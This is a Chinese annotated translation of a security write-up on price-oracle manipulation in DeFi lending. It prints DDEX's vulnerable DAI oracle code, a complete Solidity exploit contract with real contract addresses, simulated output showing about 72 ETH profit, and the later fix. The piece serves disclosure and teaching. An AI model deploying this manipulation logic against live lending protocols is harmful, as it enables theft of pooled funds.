【文章阅读】抵押品不足的贷款攻击
前言
原文:Taking undercollateralized loans for fun and for profit
DDEX 和 bZx 依赖链上去中心化价格预言机而不验证返回的利率,使其容易受到原子价格操纵。
本篇文章对原文的第一部分进行了翻译并添加了注释。
什么是去中心化借贷
当你申请一笔贷款时,通常需要提供某种抵押品。如果你的贷款违约,贷款人可以通过没收抵押品来弥补自身的损失。为了确定抵押品的价值,贷方需要可靠地计算出抵押品的公平市场价值(FMV)。但是智能合约不能简单地“知道”你试图提供的任何抵押品的 FMV。
为了解决这个问题,开发人员基于智能合约设计出价格预言机:接受一个代币的地址并以所需货币(例如,ETH 或美元)返回该代币的当前价格。
价格预言机大概可以分为五类
-
链下中心化预言机
最新价格由项目组控制的线下预言机提供
Compound Finance 和 Synthetix 采用这种形式
-
链下去中心化预言机
这种类型的预言机接受来自多个链下来源的新价格,并通过数学函数(例如平均值)合并这些值。
Maker 采用这种形式
-
链上中心化预言机
这种类型的预言机使用链上资源(例如 DEX)来确定资产的价格。但是,只有中心化应用可以触发预言机从链上源读取。
-
链上去中心化预言机
这种类型的预言机使用链上资源确定资产的价格,任何人都可以更新。可能会有一些健全性检查,以确保价格不会波动太大。
-
常量预言机
此类型的预言机只返回一个常数值,通常用于稳定币。
USDC 等稳定币使用
问题
一般来说,如果价格预言机是完全去中心化的,那么攻击者可以在特定时刻显著地操纵价格,而滑点费用的损失很小或没有。如果攻击者可以使得 DeFi dApp 在价格被操纵的那一刻检查预言机,那么可能会对系统造成重大损害。在下面 DDEX 和 bZx 的例子中,可以取出看似充分抵押,但实际上抵押不足的贷款。
DDEX (Hydro Protocol)
DDEX 是一个去中心化的交易平台,正在向去中心化借贷发展,为他们的用户提供建立杠杆式多空头寸的能力。
2019 年 9 月 9 日,DDEX 将 DAI 作为资产添加到他们的保证金交易平台,并启用了 ETH/DAI 市场。通过 this 合约计算 PriceOfETHInUSD / PriceOfETHInDAI
来间接计算 DAI/USD 的值。
ETH/USD 的价格是从 Maker 预言机中读取, ETH/DAI 的价格是从 Eth2Dai 中读取的,或者如果买卖差价太大(大于 2%),则从 Uniswap 中读取。
为了触发更新并使预言机刷新其存储的值,用户只需调用 updatePrice()
。
源代码此处,下面为部分相关代码。
function updatePrice()
public
returns (bool)
{
uint256 _price = peek();
if (_price != 0) {
price = _price;
emit UpdatePrice(price);
return true;
} else {
return false;
}
}
function peek()
public
view
returns (uint256 _price)
{
uint256 makerDaoPrice = getMakerDaoPrice();
if (makerDaoPrice == 0) {
return _price;
}
uint256 eth2daiPrice = getEth2DaiPrice();
if (eth2daiPrice > 0) {
_price = makerDaoPrice.mul(ONE).div(eth2daiPrice);
return _price;
}
uint256 uniswapPrice = getUniswapPrice();
if (uniswapPrice > 0) {
_price = makerDaoPrice.mul(ONE).div(uniswapPrice);
return _price;
}
return _price;
}
function getEth2DaiPrice()
public
view
returns (uint256)
{
if (Eth2Dai.isClosed() || !Eth2Dai.buyEnabled() || !Eth2Dai.matchingEnabled()) {
return 0;
}
// eth2daiETHAmount == 10 ether
uint256 bidDai = Eth2Dai.getBuyAmount(address(DAI), WETH, eth2daiETHAmount);
uint256 askDai = Eth2Dai.getPayAmount(address(DAI), WETH, eth2daiETHAmount);
uint256 bidPrice = bidDai.mul(ONE).div(eth2daiETHAmount);
uint256 askPrice = askDai.mul(ONE).div(eth2daiETHAmount);
uint256 spread = askPrice.mul(ONE).div(bidPrice).sub(ONE);
// eth2daiMaxSpread == 2.00%
if (spread > eth2daiMaxSpread) {
return 0;
} else {
return bidPrice.add(askPrice).div(2);
}
}
function getUniswapPrice()
public
view
returns (uint256)
{
uint256 ethAmount = UNISWAP.balance;
uint256 daiAmount = DAI.balanceOf(UNISWAP);
uint256 uniswapPrice = daiAmount.mul(10**18).div(ethAmount);
// uniswapMinETHAmount == 2000 ether
if (ethAmount < uniswapMinETHAmount) {
return 0;
} else {
return uniswapPrice;
}
}
function getMakerDaoPrice()
public
view
returns (uint256)
{
(bytes32 value, bool has) = makerDaoOracle.peek();
if (has) {
return uint256(value);
} else {
return 0;
}
}
攻击
如果我们能够大幅地控制 DAI/USD 的价格,那么我们希望抵押尽可能少的 DAI 来借出合约中的所有 ETH。我们可以通过降低 ETH/USD 的价格或者提高 DAI/USD 的价格来实现这一目标。本案例中选择后者。
为了达到提高 DAI/USD 价格的目的,我们可以通过提高 ETH/USD 价格或者降低 ETH/DAI 价格来实现。因为 Maker 提供 ETH/USD 的价格,而操纵 Maker (链下去中心化预言机)是不可能的,所以我们只能尝试降低 ETH/DAI 的价格。
要使得 DAI/USD 变大,ETH/USD不变,所以就只能令 ETH/DAI 的价格比值变小(也就是 DAI/ETH 的价格比值变大)
预言机会通过计算 Eth2Dai 中卖价与买价的平均值来确定 ETH/DAI 的价格。为了降低这个价格,我们需要通过促成现有订单来降低当前出价,然后通过下新订单来降低当前要价。这种方法需要大量的资产来实现。
因此,我们的目标是绕过 Eth2Dai 逻辑并操纵 Uniswap 中 ETH/DAI 的价格。我们可以通过向 Uniswap 买入大量 DAI (ETH/DAI 的存量比值变大)来降低 ETH/DAI 的价格比值。
文章中的 Uniswap 应该是指 V1 版本
我们需要控制买卖差价的大小来绕过 Eth2Dai,有以下两种方法:
- 促成订单簿的一侧的交易,而留下另一侧。
- 通过列出极端买入或卖出订单来强制交叉订单簿,使得买单价格高,卖单价格低。
但目标合约使用了 SafeMath 不允许交叉订单簿,因此我们无法使用第二种强制交叉订单簿的情况来使得 uint256 spread = askPrice.mul(ONE).div(bidPrice).sub(ONE);
满足 spread > 2%
。所以我们将通过清除订单簿的一侧来强制实现较大的价差。这将导致 DAI 预言机选择 Uniswap 来确定 DAI 的价格。然后,我们可以通过买入大量的 DAI 来降低 ETH/DAI 的的价格比值(ETH/DAI 的存量比值变大)。一旦 DAI/USD 的表面价值被操纵,便可实现攻击。
演示
根据以下攻击步骤可以获取大概 70 ETH 的利润
- 清除 Eth2Dai 的卖单,直到买卖价差大到足以让预言机拒绝询价
- 从 Uniswap 购买大量 DAI,将价格从 213DAI/ETH 降至 13DAI/ETH
- 以较少量 DAI 尽可能多地借入 ETH
- 将我们从 Uniswap 购买的 DAI 卖回 Uniswap
- 将我们从 Eth2Dai 购买的 DAI 卖回给 Eth2Dai
- 重置预言机(避免其他人使用我们的攻击手段)
contract DDEXExploit is Script, Constants, TokenHelper {
OracleLike private constant ETH_ORACLE = OracleLike(0x8984F1CFf1d614a7404b0cfE97C6fa9110b93Bd2);
DaiOracleLike private constant DAI_ORACLE = DaiOracleLike(0xeB1f1A285fee2AB60D2910F2786E1D036E09EAA8);
ERC20Like private constant HYDRO_ETH = ERC20Like(0x000000000000000000000000000000000000000E);
HydroLike private constant HYDRO = HydroLike(0x241e82C79452F51fbfc89Fac6d912e021dB1a3B7);
uint16 private constant ETHDAI_MARKET_ID = 1;
uint private constant INITIAL_BALANCE = 25000 ether;
function setup() public {
name("ddex-exploit");
blockNumber(8572000);
}
function run() public {
begin("exploit")
.withBalance(INITIAL_BALANCE)
.first(this.checkRates)
.then(this.skewRates)
.then(this.checkRates)
.then(this.steal)
.then(this.cleanup)
.then(this.checkProfits);
}
function checkRates() external {
uint ethPrice = ETH_ORACLE.getPrice(HYDRO_ETH);
uint daiPrice = DAI_ORACLE.getPrice(DAI);
printf("eth=%.18u dai=%.18u\n", abi.encode(ethPrice, daiPrice));
}
uint private boughtFromMatchingMarket = 0;
function skewRates() external {
skewUniswapPrice();
skewMatchingMarket();
require(DAI_ORACLE.updatePrice());
}
function skewUniswapPrice() internal {
DAI.getFromUniswap(DAI.balanceOf(address(DAI.getUniswapExchange())) * 75 / 100);
}
function skewMatchingMarket() internal {
uint start = DAI.balanceOf(address(this));
WETH.deposit.value(address(this).balance)();
WETH.approve(address(MATCHING_MARKET), uint(-1));
while (DAI_ORACLE.getEth2DaiPrice() != 0) {
MATCHING_MARKET.buyAllAmount(DAI, 5000 ether, WETH, uint(-1));
}
boughtFromMatchingMarket = DAI.balanceOf(address(this)) - start;
WETH.withdrawAll();
}
function steal() external {
HydroLike.Market memory ethDaiMarket = HYDRO.getMarket(ETHDAI_MARKET_ID);
HydroLike.BalancePath memory commonPath = HydroLike.BalancePath({
category: HydroLike.BalanceCategory.Common,
marketID: 0,
user: address(this)
});
HydroLike.BalancePath memory ethDaiPath = HydroLike.BalancePath({
category: HydroLike.BalanceCategory.CollateralAccount,
marketID: 1,
user: address(this)
});
uint ethWanted = HYDRO.getPoolCashableAmount(HYDRO_ETH);
uint daiRequired = ETH_ORACLE.getPrice(HYDRO_ETH) * ethWanted * ethDaiMarket.withdrawRate / DAI_ORACLE.getPrice(DAI) / 1 ether + 1 ether;
printf("ethWanted=%.18u daiNeeded=%.18u\n", abi.encode(ethWanted, daiRequired));
HydroLike.Action[] memory actions = new HydroLike.Action[](5);
actions[0] = HydroLike.Action({
actionType: HydroLike.ActionType.Deposit,
encodedParams: abi.encode(address(DAI), uint(daiRequired))
});
actions[1] = HydroLike.Action({
actionType: HydroLike.ActionType.Transfer,
encodedParams: abi.encode(address(DAI), commonPath, ethDaiPath, uint(daiRequired))
});
actions[2] = HydroLike.Action({
actionType: HydroLike.ActionType.Borrow,
encodedParams: abi.encode(uint16(ETHDAI_MARKET_ID), address(HYDRO_ETH), uint(ethWanted))
});
actions[3] = HydroLike.Action({
actionType: HydroLike.ActionType.Transfer,
encodedParams: abi.encode(address(HYDRO_ETH), ethDaiPath, commonPath, uint(ethWanted))
});
actions[4] = HydroLike.Action({
actionType: HydroLike.ActionType.Withdraw,
encodedParams: abi.encode(address(HYDRO_ETH), uint(ethWanted))
});
DAI.approve(address(HYDRO), daiRequired);
HYDRO.batch(actions);
}
function cleanup() external {
DAI.approve(address(MATCHING_MARKET), uint(-1));
MATCHING_MARKET.sellAllAmount(DAI, boughtFromMatchingMarket, WETH, uint(0));
WETH.withdrawAll();
DAI.giveAllToUniswap();
require(DAI_ORACLE.updatePrice());
}
function checkProfits() external {
printf("profits=%.18u\n", abi.encode(address(this).balance - INITIAL_BALANCE));
}
}
/*
### running script "ddex-exploit" at block 8572000
#### executing step: exploit
##### calling: checkRates()
eth=213.440000000000000000 dai=1.003140638067989051
##### calling: skewRates()
##### calling: checkRates()
eth=213.440000000000000000 dai=16.058419875880325580
##### calling: steal()
ethWanted=122.103009983203364425 daiNeeded=2435.392672403537525078
##### calling: cleanup()
##### calling: checkProfits()
profits=72.140629996890984407
#### finished executing step: exploit
*/
解决方法
DDEX 部署了一个新的预言机,其中对 DAI 的价格限制在 0.95-11.05 之间。
function updatePrice()
public
returns (bool)
{
uint256 _price = peek();
if (_price == 0) {
return false;
}
if (_price == price) {
return true;
}
if (_price > maxPrice) {
_price = maxPrice;
} else if (_price < minPrice) {
_price = minPrice;
}
price = _price;
emit UpdatePrice(price);
return true;
}